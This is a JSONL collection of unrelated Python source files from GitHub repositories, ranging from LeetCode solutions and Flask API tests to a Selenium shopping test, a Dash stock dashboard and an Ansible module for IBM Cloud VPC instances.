+{"seq_id":"622443875","text":"# Given an integer x, return true if x is palindrome integer.\n# An integer is a palindrome when it reads the same backward as forward.\n# For example, 121 is a palindrome while 123 is not.\n\nclass Solution(object):\n    def isPalindrome(self, x):\n        if x>=0:\n            y = x\n            m = 1\n            while(y//10>0):\n                m *= 10\n                y = y//10\n            i = 1\n            while(m>=10 and x>=10):\n                if (x//m)%10 != (x%(10*i))//i:\n                    return False\n                print(m)\n                m //= 10\n                i *= 10\n            return True\n        else:\n            return False\n","repo_name":"Asif-ECE/ProblemSolving","sub_path":"leetCode/palindromeNumber.py","file_name":"palindromeNumber.py","file_ext":"py","file_size_in_byte":646,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"24974083135","text":"#processing the transaction data\nimport json\n\n\ndef calculate_delivery_cost(distance):\n    with open(\"delivery_pricing.json\") as f:  # json file contains delivery information\n        data = f.read()\n    json_pricing_data = json.loads(data)\n    for price in json_pricing_data[\"delivery_cost\"]:\n        if price[\"from\"] < distance <= price[\"to\"]:  # checking the range of delivery and cost\n            return int(price[\"price\"])*100  # converting rupee to paisa\n\n\ndef calculate_discount(offer, delivery):\n    if offer[\"offer\"][\"offer_type\"] == \"FLAT\":  # checking the kind of offer applied\n        return offer[\"offer\"][\"offer_val\"]\n    elif offer[\"offer\"][\"offer_type\"] == \"DELIVERY\": # if offer is DELIVERY then by pass delivery charges\n        return delivery\n\n\ndef get_total_amount(json_data):\n    order_data = json_data[\"order_items\"]\n    order_total = 0\n    discount = 0\n    for order in order_data:\n        order_total += order[\"quantity\"] * order[\"price\"]  # adding all the prices\n    delivery_charges = calculate_delivery_cost(json_data[\"distance\"]/1000)  # converting meter to kilometer\n    order_total += delivery_charges\n    if \"offer\" in json_data:\n        discount = calculate_discount(json_data, delivery_charges)\n    if discount > order_total:  # checking if discount isn't more than the order total\n        return \"Invalid Discount Applied\"\n    return order_total - discount\n\n\n\n#calculate_delivery_cost(100)","repo_name":"vivek378521/flask_api","sub_path":"process_transaction.py","file_name":"process_transaction.py","file_ext":"py","file_size_in_byte":1421,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"16920559389","text":"import json\nfrom datetime import datetime\nfrom unittest import TestCase\nfrom message_api import create_app\n\n\napp = create_app(config_name=\"testing\")\n\n\nclass MessagesApi(TestCase):\n    def __init__(self, *args, **kwargs):\n        super().__init__(*args, **kwargs)\n\n    def setUp(self):\n        self.client = app.test_client()\n        self._sender = \"albert\"\n        self._target = \"norbert\"\n        with app.app_context():\n            # create all tables\n            from message_api.sqlalquemy_store import db\n            db.session.remove()\n            db.drop_all()\n            db.create_all()\n\n    def test_no_messages_with_clean_start(self):\n        res = self.get_messages()\n        self.assertEqual([], res)\n\n    def test_post_message(self):\n        res = self.post_message('test message 1')\n\n        self.assertIsNotNone(res.get(\"id\"))\n        self.assertEqual(self._sender, res.get(\"sender\"))\n        self.assertEqual(self._target, res.get(\"target\"))\n        self.assertEqual(\"test message 1\", res.get(\"text\"))\n        d = res.get(\"sent_time\")\n        datetime.fromisoformat(d)\n\n    def test_fail_post_message_no_data(self):\n        self.post(\n            self.messages_uri(self._target),\n            None,\n            400)\n\n    def test_fail_post_message_wrong_data_type(self):\n        self.post(\n            self.messages_uri(self._target),\n            [1],\n            400)\n\n    def test_fail_post_message_no_sender_user_id(self):\n        self.post(\n            self.messages_uri(self._target),\n            {'text': 'test message 1'},\n            400)\n\n    def test_fail_post_message_no_text(self):\n        self.post(\n            self.messages_uri(self._target),\n            {'user_id': 'xxx'},\n            400)\n\n    def test_get_posted_message(self):\n        self.post_message('test message 1')\n\n        res = self.get_messages()\n        self.assertEqual(1, len(res))\n        self.assertEqual(\"test message 1\", res[0].get(\"text\"))\n\n    def test_get_posted_message_on_different_user_should_be_empty(self):\n        self.post_message('test message 1', target=self._target + \"_jr\")\n\n        res = self.get_messages()\n        self.assertEqual(0, len(res))\n\n    def test_post_message_on_two_users_should_be_empty_get_messages_for_one(self):\n        self.post_message('test message 1')\n\n        self.post_message('test message 2', target=self._target + \"_jr\")\n\n        res = self.get_messages()\n        self.assertEqual(1, len(res))\n        self.assertEqual(\"test message 1\", res[0].get(\"text\"))\n\n        res = self.get_messages(user_name=self._target + \"_jr\")\n\n        self.assertEqual(1, len(res))\n        self.assertEqual(\"test message 2\", res[0].get(\"text\"))\n\n    def test_multiple_calls_to_get_only_return_new_messages(self):\n        self.post_message('test message 1')\n        self.post_message('test message 2')\n\n        res = self.get_messages()\n        self.assertEqual(2, len(res))\n        self.assertEqual(\"test message 1\", res[0].get(\"text\"))\n        self.assertEqual(\"test message 2\", res[1].get(\"text\"))\n\n        res = self.get_messages()\n        self.assertEqual(0, len(res))\n\n        self.post_message('test message 3')\n        self.post_message('test message 4')\n        self.post_message('test message 5')\n\n        res = self.get_messages()\n        self.assertEqual(3, len(res))\n        self.assertEqual(\"test message 3\", res[0].get(\"text\"))\n        self.assertEqual(\"test message 4\", res[1].get(\"text\"))\n        self.assertEqual(\"test message 5\", res[2].get(\"text\"))\n\n    def test_get_old_messages_returns_every_message_on_multiple_get_calls(self):\n        self.post_message('test message 1')\n        self.post_message('test message 2')\n\n        res = self.get_messages()\n        self.assertEqual(2, len(res))\n\n        self.post_message('test message 3')\n\n        res = self.get_messages(get_old_messages=True)\n        self.assertEqual(3, len(res))\n        self.assertEqual(\"test message 1\", res[0].get(\"text\"))\n        self.assertEqual(\"test message 2\", res[1].get(\"text\"))\n        self.assertEqual(\"test message 3\", res[2].get(\"text\"))\n\n    def test_get_old_messages_returns_with_pagination(self):\n        self.post_message('test message 1')\n        self.post_message('test message 2')\n        self.post_message('test message 3')\n        self.post_message('test message 4')\n        self.post_message('test message 5')\n        self.post_message('test message 6')\n        self.post_message('test message 7')\n        self.post_message('test message 8')\n        self.post_message('test message 9')\n        self.post_message('test message 10')\n        self.post_message('test message 11')\n        self.post_message('test message 12')\n\n        res = self.get_messages(get_old_messages=True, page=0, page_size=5)\n        self.assertEqual(5, len(res))\n        self.assertEqual(\"test message 1\", res[0].get(\"text\"))\n        self.assertEqual(\"test message 2\", res[1].get(\"text\"))\n        self.assertEqual(\"test message 3\", res[2].get(\"text\"))\n        self.assertEqual(\"test message 4\", res[3].get(\"text\"))\n        self.assertEqual(\"test message 5\", res[4].get(\"text\"))\n\n        res = self.get_messages(get_old_messages=True, page=1, page_size=5)\n        self.assertEqual(5, len(res))\n        self.assertEqual(\"test message 6\", res[0].get(\"text\"))\n        self.assertEqual(\"test message 7\", res[1].get(\"text\"))\n        self.assertEqual(\"test message 8\", res[2].get(\"text\"))\n        self.assertEqual(\"test message 9\", res[3].get(\"text\"))\n        self.assertEqual(\"test message 10\", res[4].get(\"text\"))\n\n        res = self.get_messages(get_old_messages=True, page=2, page_size=5)\n        self.assertEqual(2, len(res))\n        self.assertEqual(\"test message 11\", res[0].get(\"text\"))\n        self.assertEqual(\"test message 12\", res[1].get(\"text\"))\n\n        res = self.get_messages(get_old_messages=True, page=3, page_size=5)\n        self.assertEqual(0, len(res))\n\n        # different page_size\n        res = self.get_messages(get_old_messages=True, page=2, page_size=2)\n        self.assertEqual(2, len(res))\n        self.assertEqual(\"test message 5\", res[0].get(\"text\"))\n        self.assertEqual(\"test message 6\", res[1].get(\"text\"))\n\n    def test_fail_get_with_not_valid_get_old_messages(self):\n        return self.get(self.messages_uri(\n            self._target,\n            get_old_messages=\"xxx\"),\n            400)\n\n    def test_fail_get_with_not_valid_page(self):\n        return self.get(self.messages_uri(\n            self._target,\n            get_old_messages=\"true\",\n            page=\"qwerty\"),\n            400)\n\n    def test_fail_get_with_not_valid_page_size(self):\n        return self.get(self.messages_uri(\n            self._target,\n            get_old_messages=\"true\",\n            page_size=\"qwerty\"),\n            400)\n\n    def test_fail_get_pagination_params_but_not_get_old_message_set_to_true(self):\n        return self.get(self.messages_uri(\n            self._target,\n            get_old_messages=\"false\",\n            page_size=\"qwerty\"),\n            400)\n\n    def test_delete_non_existing_message_returns_ok(self):\n        deleted_count = self.delete_messages(918273645)\n        self.assertEqual(0, deleted_count)\n\n    def test_delete_posted_message(self):\n        message = self.post_message('test message 1')\n\n        res = self.get_messages(get_old_messages=True)\n        self.assertEqual(1, len(res))\n\n        deleted_count = self.delete_messages(message.get(\"id\"))\n        self.assertEqual(1, deleted_count)\n\n        res = self.get_messages(get_old_messages=True)\n        self.assertEqual(0, len(res))\n\n    def test_delete_one_of_several_posted_messages(self):\n        self.post_message('test message 1')\n        message = self.post_message('test message 2')\n        self.post_message('test message 3')\n\n        res = self.get_messages(get_old_messages=True)\n        self.assertEqual(3, len(res))\n\n        deleted_count = self.delete_messages(message.get(\"id\"))\n        self.assertEqual(1, deleted_count)\n\n        res = self.get_messages(get_old_messages=True)\n        self.assertEqual(2, len(res))\n        self.assertEqual(\"test message 1\", res[0].get(\"text\"))\n        self.assertEqual(\"test message 3\", res[1].get(\"text\"))\n\n    def test_delete_message_for_non_matching_user(self):\n        message = self.post_message('test message 1')\n\n        res = self.get_messages(get_old_messages=True)\n        self.assertEqual(1, len(res))\n\n        deleted_count = self.delete_messages(message.get(\"id\"), target=self._target + \"_jr\")\n        self.assertEqual(0, deleted_count)\n\n        res = self.get_messages(get_old_messages=True)\n        self.assertEqual(1, len(res))\n        self.assertEqual(\"test message 1\", res[0].get(\"text\"))\n        self.assertEqual(self._target, res[0].get(\"target\"))\n\n    def test_multiple_delete_of_some_posted_message(self):\n        self.post_message('test message 1')\n        message1 = self.post_message('test message 2')\n        self.post_message('test message 3')\n        message2 = self.post_message('test message 4')\n\n        res = self.get_messages(get_old_messages=True)\n        self.assertEqual(4, len(res))\n\n        deleted_count = self.delete_messages(message1.get(\"id\"), message2.get(\"id\"))\n        self.assertEqual(2, deleted_count)\n\n        res = self.get_messages(get_old_messages=True)\n        self.assertEqual(2, len(res))\n        self.assertEqual(\"test message 1\", res[0].get(\"text\"))\n        self.assertEqual(\"test message 3\", res[1].get(\"text\"))\n\n    def test_fail_delete_with_wrong_data(self):\n        self.delete(\n            self.messages_uri(self._target),\n            400,\n            data={})\n\n    def post_message(self, text, target=None):\n        return self.post(\n            self.messages_uri(target or self._target),\n            self.make_message(text),\n            201)\n\n    def get_messages(self, user_name=None, get_old_messages=None, page=None, page_size=None):\n        return self.get(self.messages_uri(\n            user_name=user_name or self._target,\n            get_old_messages=get_old_messages, page=page, page_size=page_size),\n            200)\n\n    def delete_messages(self, *message_ids, target=None):\n\n        res = self.delete(\n            self.messages_uri(target or self._target, message_id=message_ids[0] if len(message_ids) == 1 else None),\n            200,\n            data=list(message_ids) if len(message_ids) > 1 else None)\n        return res.get(\"deleted_count\")\n\n    @staticmethod\n    def messages_uri(user_name, message_id=None, **kwargs):\n        uri = f'/users/{ user_name }/messages'\n        if message_id:\n            uri += f'/{message_id}'\n\n        # get_old_messages = False, page = None, offset = None\n\n        query_string = [f'{arg}={str(value).lower()}' for arg, value in kwargs.items() if value is not None]\n\n        # if 'get_old_messages' in kwargs:\n        #     query_string.append(f'get_old_messages={str(get_old_messages).lower()}')\n\n        if query_string:\n            uri += '?' + '&'.join(query_string)\n\n        return uri\n\n    def make_message(self, message):\n        return {'user_id': self._sender, 'text': message}\n\n    def post(self, uri, data, status_code):\n        res = self.client.post(uri, data=json.dumps(data))\n        self.assertEqual(status_code, res.status_code)\n\n        return json.loads(res.data)\n\n    def delete(self, uri, status_code, data=None):\n        res = self.client.delete(uri, data=json.dumps(data) if data is not None else None)\n        self.assertEqual(status_code, res.status_code)\n\n        return json.loads(res.data)\n\n    def get(self, uri, status_code):\n        res = self.client.get(uri)\n        self.assertEqual(res.status_code, status_code)\n\n        return json.loads(res.data)\n","repo_name":"oscaralf/flask_messages_api","sub_path":"tests/test_message_api.py","file_name":"test_message_api.py","file_ext":"py","file_size_in_byte":11647,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"40352748525","text":"import json\nfrom moviepy.video.io.ffmpeg_tools import ffmpeg_extract_subclip\nimport cv2\nfrom moviepy.editor import VideoFileClip\n\nroot = '/playpen-storage/mmiemon/ego4d/data/v1/full_scale'\njson_file = '/playpen-storage/mmiemon/ego4d/Ego4d/annotations/v1/annotations/fho_oscc-pnr_val.json'\nwith open(json_file, 'r') as f:\n    data = json.load(f)\nprint(data['split'])\ndata = data['clips']\nprint(len(data))\n\ndurations = []\nfor cnt, item in enumerate(data):\n    video_uid = item['video_uid']\n    clip_uid = item['unique_id']\n    durations.append(item['parent_end_sec'] - item['parent_start_sec'])\n    clip_file = f'/playpen-storage/mmiemon/ego4d/data/v1/fho_clips/{clip_uid}.mp4'\n    #clip_file = 'test.mp4'\n    clip = VideoFileClip(clip_file)\n    print(clip.fps)\n    print(video_uid, clip_uid, clip.duration, item['parent_end_sec'], item['parent_start_sec'])\n    break\n","repo_name":"md-mohaiminul/NLQ","sub_path":"VSLNetNew/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":866,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"34731988152","text":"import unittest\r\nfrom selenium.webdriver import ActionChains\r\nfrom selenium.webdriver.chrome.options import Options\r\nfrom selenium.webdriver.common.by import By\r\nfrom selenium.webdriver.support.wait import WebDriverWait\r\nfrom selenium.webdriver.support import expected_conditions as EC\r\nfrom webdriver_manager.chrome import ChromeDriverManager\r\nfrom selenium import webdriver\r\n\r\n\r\nclass TestCheckLcwOdev(unittest.TestCase):\r\n    CATEGORY_PAGE = (By.CSS_SELECTOR, \".menu-header-item  \")\r\n    CATEGORY_PAGE_2 = (By.CLASS_NAME, 'visual-item__anchor__text')\r\n    PRODUCT_PAGE = (By.CLASS_NAME, \"product-card--one-of-4\")\r\n    CHOICE_SIZE = (By.CSS_SELECTOR, \"#option-size a:not([data-stock*='0']\")\r\n    ADD_TO_CART = (By.ID, \"pd_add_to_cart\")\r\n    CART_PAGE = (By.CLASS_NAME, \"dropdown-label\")\r\n    MAIN_PAGE = (By.CLASS_NAME, \"main-header-logo\")\r\n    PAYMENT_STEP = (By.CLASS_NAME, 'keep-shopping-label')\r\n\r\n\r\n    base_url = 'https://www.lcwaikiki.com/tr-TR/TR'\r\n    wait_time = 10\r\n\r\n    def setUp(self):\r\n        option = Options()\r\n        option.add_argument('--disable-extensions')\r\n        self.driver = webdriver.Chrome(ChromeDriverManager().install(), chrome_options=option)\r\n        self.driver.maximize_window()\r\n        self.driver.implicitly_wait(self.wait_time)\r\n        self.wait = WebDriverWait(self.driver, self.wait_time)\r\n\r\n    def test_check_lcw_odev(self):\r\n        self.driver.get(self.base_url)\r\n        self.assertIn('LC Waikiki', self.driver.title)\r\n\r\n        element = self.driver.find_element(*self.CATEGORY_PAGE)\r\n        ActionChains(self.driver).move_to_element(element).perform()\r\n\r\n        self.driver.find_element(*self.CATEGORY_PAGE_2).click()\r\n        self.assertIn('Kadın', self.driver.title)\r\n\r\n        self.driver.find_elements(*self.PRODUCT_PAGE)[4].click()\r\n        self.assertTrue(self.wait.until(\r\n            EC.element_to_be_clickable(self.ADD_TO_CART)).text)\r\n\r\n        self.driver.find_element(*self.CHOICE_SIZE).click()\r\n        self.driver.find_element(*self.ADD_TO_CART).click()\r\n\r\n        self.driver.find_elements(*self.CART_PAGE)[2].click()\r\n        self.assertEqual('Alışverişe Devam Et', self.wait.until(\r\n            EC.element_to_be_clickable(self.PAYMENT_STEP)).text)\r\n\r\n        self.driver.find_element(*self.MAIN_PAGE).click()\r\n        self.assertIn('LC Waikiki', self.driver.title)\r\n\r\n    def tearDown(self):\r\n        self.driver.close()\r\n","repo_name":"ozyunus/Lcw_odev","sub_path":"Lcw_odev/test_check_lcw_odev.py","file_name":"test_check_lcw_odev.py","file_ext":"py","file_size_in_byte":2398,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"133323752","text":"import os\nimport dash\nimport pandas as pd\nfrom dash import dcc\nfrom dash import html\nfrom dash.dependencies import Input, Output\nimport plotly.express as px\n\ndf = pd.read_csv(\"Tesla.csv\")\n\napp = dash.Dash(__name__)\nserver = app.server\n\napp.layout = html.Div([\n\n    html.H1(\"Tesla Stock Price Prediction Dashboard\", style={'text-align': 'center'}),\n    \n    dcc.Dropdown(\n        id=\"ticker\",\n        options=[{\"label\": x, \"value\": x} \n                 for x in df.columns[1:]],\n        value=df.columns[8],\n        clearable=False,\n    ),\n    dcc.Graph(id=\"time-series-chart\"),\n])\n\n@app.callback(\n    Output(\"time-series-chart\", \"figure\"), \n    [Input(\"ticker\", \"value\")])\ndef display_time_series(ticker):\n    fig = px.line(df, x='date', y=ticker, title='Tesla Financial Information Trend')\n    fig.update_xaxes(rangeslider_visible=True)\n    return fig\n\nif __name__ == '__main__':\n    app.run_server(debug=True)\n    \n","repo_name":"NENUKORAH/Final_Project","sub_path":"Dashboard/Nnaemeka/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":917,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"77"}
+{"seq_id":"39052294865","text":"class Node:\n    def __init__(self, value):\n        self.left = None\n        self.data = value\n        self.right = None\ndef findlca(root,n1,n2):\n    if root is None:\n        return None\n    if root.data==n1 or root.data==n2:\n        return root\n    leftlca = findlca(root.left,n1,n2)\n    rightlca = findlca(root.right,n1,n2)\n    if leftlca and rightlca:\n        return root\n    return leftlca if leftlca is not None else  rightlca\n","repo_name":"spartan289/PycharmProjects","sub_path":"leetcpde/lowestcommonancestor.py","file_name":"lowestcommonancestor.py","file_ext":"py","file_size_in_byte":431,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"16959954513","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n# GNU General Public License v3.0+\n# (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt)\n\n\nfrom ansible.module_utils.basic import AnsibleModule\nfrom ibmcloud_python_sdk.vpc import instance as sdk\n\n\nANSIBLE_METADATA = {\n    'metadata_version': '1.1',\n    'status': ['preview'],\n    'supported_by': 'community'\n}\n\nDOCUMENTATION = r'''\n---\nmodule: ic_is_instance\nshort_description: Manage VPC VSI (Virtual Server Instance) on IBM Cloud.\nauthor: Gaëtan Trellu (@goldyfruit)\nversion_added: \"2.9\"\ndescription:\n  - The prototype object is structured in the same way as a retrieved instance,\n    and contains the information necessary to provision the new instance. The\n    instance is automatically started.\nrequirements:\n  - \"ibmcloud-python-sdk\"\noptions:\n  instance:\n    description:\n      - The unique user-defined name for this virtual server instance\n        (and default system hostname).\n    type: str\n    required: true\n  keys:\n    description:\n      - The public SSH keys to install on the virtual server instance. Up to 10\n        keys may be provided; if no keys are provided the instance will be\n        inaccessible unless the image used provides a means of access.\n        For Windows instances, one of the keys will be used to encrypt the\n        administrator password.\n    type: list\n  network_interfaces:\n    description:\n      - Collection of additional network interfaces to create for the virtual\n        server instance.\n    type: list\n    suboptions:\n      allow_ip_spoofing:\n        description:\n          - Indicates whether source IP spoofing is allowed on this interface.\n            If false, source IP spoofing is prevented on this interface.\n            If true,source IP spoofing is allowed on this interface.\n        type: bool\n        choices: [true, false]\n      ips:\n        description:\n          - Array of additional IP addresses to bind to the network interface.\n        type: list\n      name:\n        description:\n          - The user-defined name for network interface.\n        type: str\n      primary_ip:\n        description:\n          - Primary IP address to bind to the network interface.\n        type: str\n      security_groups:\n        description:\n          - Collection of security groups.\n        type: list\n      subnet:\n        description:\n          - The associated subnet.\n        type: str\n        required: true\n  placement_target:\n    description:\n      - The placement for the virtual server instance.\n    type: str\n  volume_attachments:\n    description:\n      - Collection of volume attachments\n    type: list\n    suboptions:\n      delete_volume_on_instance_delete:\n        description:\n          - If set to true, when deleting the instance the volume will also\n            be deleted.\n        type: bool\n        choices: [true, false]\n      name:\n        description:\n          - The user-defined name for this volume attachment.\n        type: str\n      volume:\n        description:\n          - The identity of the volume to attach to the instance.\n        type: str\n        required: true\n  boot_volume_attachment:\n    description:\n      - The boot volume attachment for the virtual server instance\n    type: dict\n    suboptions:\n      delete_volume_on_instance_delete:\n        description:\n          - If set to true, when deleting the instance the volume will also\n            be deleted.\n        type: bool\n        choices: [true, false]\n      name:\n        description:\n          - The user-defined name for this volume attachment.\n        type: str\n      volume:\n        description:\n          - The identity of the volume to attach to the instance.\n        type: dict\n        required: true\n        suboptions:\n          capacity:\n            description:\n              - The capacity of the volume in gigabytes.\n            type: int\n          encryption_key:\n            description:\n              - The key to use for encrypting this volume. If no encryption key\n                is provided, the volume's encryption will be provider-managed.\n            type: str\n          iops:\n            description:\n              - The bandwidth for the volume.\n            type: int\n          name:\n            description:\n              - The unique user-defined name for this volume\n            type: str\n          profile:\n            description:\n              - The profile name to use for this volume.\n            type: str\n  primary_network_interface:\n    description:\n      - Primary network interface.\n    type: dict\n    suboptions:\n      ips:\n        description:\n          - Array of additional IP addresses to bind to the network interface.\n        type: list\n      name:\n        description:\n          - The user-defined name for network interface.\n        type: str\n      primary_ip:\n        description:\n          - Primary IP address to bind to the network interface.\n        type: str\n      security_groups:\n        description:\n          - Collection of security groups.\n        type: list\n      subnet:\n        description:\n          - The associated subnet.\n        type: str\n        required: true\n  source_template:\n    description:\n      - Identifies an instance template by a unique property.\n    type: str\n  profile:\n    description:\n      - The profile to use for this virtual server instance.\n    type: str\n  resource_group:\n    description:\n      - The resource group to use. If unspecified, the account's default\n        resource group is used.\n    type: str\n  user_data:\n    description:\n      - User data to be made available when setting up the virtual server\n        instance.\n    type: str\n  vpc:\n    description:\n      - The VPC the virtual server instance is to be a part of. If provided,\n        must match the VPC tied to the subnets of the instance's network\n        interfaces.\n    type: str\n  image:\n    description:\n      - The identity of the image to be used when provisioning the virtual\n        server instance.\n    type: str\n  zone:\n    description:\n      - The identity of the zone to provision the virtual server instance in.\n    type: str\n  state:\n    description:\n      - Should the resource be present or absent.\n    type: str\n    default: present\n    choices: [present, absent]\n'''\n\nEXAMPLES = r'''\n- name: Create VSI\n  ic_is_instance:\n    instance: ibmcloud-vsi-baby\n    keys:\n      - ibmcloud-key1-baby\n      - ibmcloud-key2-baby\n    profile: ibmcloud-vsi-profile-baby\n    vpc: ibmcloud-vpc-baby\n    image: ibmcloud-image-baby\n    primary_network_interface:\n      name: ibmcloud-vsi-nic-baby\n      subnet: ibmcloud-subnet-baby\n    boot_volume_attachment:\n      name: ibmcloud-boot-vol-attachment-baby\n      volume:\n        name: ibmcloud-boot-vol-baby\n        capacity: 50\n        profile: ibmcloud-volume-profile-baby\n    zone: ibmcloud-zone-baby\n\n\n- name: Delete instance\n  ic_is_instance:\n    instance: ibmcloud-vsi-baby\n    state: absent\n'''\n\n\ndef run_module():\n    module_args = dict(\n        instance=dict(\n            type='str',\n            required=True),\n        keys=dict(\n            type='list',\n            required=False),\n        network_interfaces=dict(\n            type='list',\n            options=dict(\n                allow_ip_spoofing=dict(\n                    type='bool',\n                    required=False,\n                    choices=[True, False]),\n                ips=dict(\n                    type='list',\n                    required=False),\n                name=dict(\n                    type='str',\n                    required=False),\n                primary_ip=dict(\n                    type='list',\n                    required=False),\n                security_groups=dict(\n                    type='list',\n                    required=False),\n                subnet=dict(\n                    type='str',\n                    required=True),\n            ),\n            required=False),\n        placement_target=dict(\n            type='str',\n            required=False),\n        profile=dict(\n            type='str',\n            required=False),\n        resource_group=dict(\n            type='str',\n            required=False),\n        user_data=dict(\n            type='str',\n            required=False),\n        volume_attachments=dict(\n            type='list',\n            options=dict(\n                delete_volume_on_instance_delete=dict(\n                    type='bool',\n                    required=False,\n                    choices=[True, False]),\n                name=dict(\n                    type='str',\n                    required=False),\n                volume=dict(\n                    type='str',\n                    required=True),\n            ),\n            required=False),\n        boot_volume_attachment=dict(\n            type='dict',\n            options=dict(\n                delete_volume_on_instance_delete=dict(\n                    type='bool',\n                    required=False,\n                    choices=[True, False]),\n                name=dict(\n                    type='str',\n                    required=False),\n                volume=dict(\n                    type='dict',\n                    options=dict(\n                        capacity=dict(\n                            type='int',\n                            required=False),\n                        encryption_key=dict(\n                            type='str',\n                            required=False),\n                        iops=dict(\n                            type='int',\n                            required=False),\n                        name=dict(\n                            type='str',\n                            required=False),\n                        profile=dict(\n                            type='str',\n                            required=True),\n                    ),\n                    required=False),\n            ),\n            required=False),\n        source_template=dict(\n            type='str',\n            required=False),\n        vpc=dict(\n            type='str',\n            required=False),\n        image=dict(\n            type='str',\n            required=False),\n        primary_network_interface=dict(\n            type='dict',\n            options=dict(\n                ips=dict(\n                    type='list',\n                    required=False),\n                name=dict(\n                    type='str',\n                    required=False),\n                primary_ip=dict(\n                    type='list',\n                    required=False),\n                security_groups=dict(\n                    type='list',\n                    required=False),\n                subnet=dict(\n                    type='str',\n                    required=True),\n            ),\n            required=False),\n        zone=dict(\n            type='str',\n            required=False),\n        state=dict(\n            type='str',\n            default='present',\n            choices=['absent', 'present'],\n            required=False),\n    )\n\n    module = AnsibleModule(\n        argument_spec=module_args,\n        supports_check_mode=False\n    )\n\n    vsi_instance = sdk.Instance()\n\n    instance = module.params['instance']\n    keys = module.params['keys']\n    network_interfaces = module.params['network_interfaces']\n    placement_target = module.params['placement_target']\n    volume_attachments = module.params['volume_attachments']\n    boot_volume_attachment = module.params['boot_volume_attachment']\n    source_template = module.params['source_template']\n    profile = module.params['profile']\n    resource_group = module.params[\"resource_group\"]\n    user_data = module.params['user_data']\n    vpc = module.params['vpc']\n    image = module.params['image']\n    primary_network_interface = module.params['primary_network_interface']\n    zone = module.params['zone']\n    state = module.params[\"state\"]\n\n    check = vsi_instance.get_instance(instance)\n\n    if state == \"absent\":\n        if \"id\" in check:\n            result = vsi_instance.delete_instance(instance)\n            if \"errors\" in result:\n                module.fail_json(msg=result)\n\n            payload = {\"instance\": instance, \"status\": \"deleted\"}\n            module.exit_json(changed=True, msg=payload)\n\n        payload = {\"instance\": instance, \"status\": \"not_found\"}\n        module.exit_json(changed=False, msg=payload)\n    else:\n        if \"id\" in check:\n            module.exit_json(changed=False, msg=check)\n\n        result = vsi_instance.create_instance(\n            name=instance,\n            keys=keys,\n            profile=profile,\n            network_interfaces=network_interfaces,\n            placement_target=placement_target,\n            volume_attachments=volume_attachments,\n            boot_volume_attachment=boot_volume_attachment,\n            source_template=source_template,\n            resource_group=resource_group,\n            user_data=user_data,\n            vpc=vpc,\n            image=image,\n            primary_network_interface=primary_network_interface,\n            zone=zone\n        )\n\n        if \"errors\" in result:\n            module.fail_json(msg=result)\n\n        module.exit_json(changed=True, msg=result)\n\n\ndef main():\n    run_module()\n\n\nif __name__ == '__main__':\n    main()\n","repo_name":"goldyfruit/ibmcloud-ansible-collection","sub_path":"plugins/modules/ic_is_instance.py","file_name":"ic_is_instance.py","file_ext":"py","file_size_in_byte":13174,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"79"}
+{"seq_id":"70764996737","text":"import pandas as pd\nfrom commonfunctions import exportfile\n\n\ndef main():\n    \"\"\"\n    This was written as a 'quick and dirty' product code check for Peter Moran\n\n    \"\"\"\n    df = pd.read_csv('C:\\\\Users\\\\gwilliams\\\\Desktop\\\\Python Experiments\\\\work projects\\\\FaresIndexOutput\\\\rawsuperfile_20190305_12-57.csv')\n\n    df2aaa = df[df['Product Code']=='2AAA']\n    df2aaareg = df2aaa[df2aaa['Regulated_Status']=='Regulated'] \n\n    df2baf = df[df['Product Code']=='2BAF' ]\n    df2bafreg = df2baf[df2baf['Regulated_Status']=='Regulated'] \n\n    df2bfp = df[df['Product Code']=='2BFP' ]\n    df2bfpreg = df2bfp[df2bfp['Regulated_Status']=='Regulated'] \n\n    df2aaasum = df2aaareg.groupby(['Product Code','Origin Code', 'Destination Code'])['Adjusted Earnings Amount'].agg('sum')\n    df2bafsum = df2bafreg.groupby(['Product Code','Origin Code', 'Destination Code'])['Adjusted Earnings Amount'].agg('sum')\n    df2bfpsum = df2bfpreg.groupby(['Product Code','Origin Code', 'Destination Code'])['Adjusted Earnings Amount'].agg('sum')\n\n    exportfile(df2aaasum,'C:\\\\Users\\\\gwilliams\\\\Desktop\\\\Python Experiments\\\\work projects\\\\FaresIndexOutput\\\\','2aaa - pm.csv')\n    exportfile(df2bafsum,'C:\\\\Users\\\\gwilliams\\\\Desktop\\\\Python Experiments\\\\work projects\\\\FaresIndexOutput\\\\','2baf - pm.csv')\n    exportfile(df2bfpsum,'C:\\\\Users\\\\gwilliams\\\\Desktop\\\\Python Experiments\\\\work projects\\\\FaresIndexOutput\\\\','2bfp - pm.csv')\n\n\nif __name__ == '__main__':\n    main()\n","repo_name":"greggwilliams58/FaresIndexPreparation","sub_path":"FaresIndexPreparation/ad hoc_test for sum of weighings from superfile.py","file_name":"ad hoc_test for sum of weighings from superfile.py","file_ext":"py","file_size_in_byte":1445,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"}
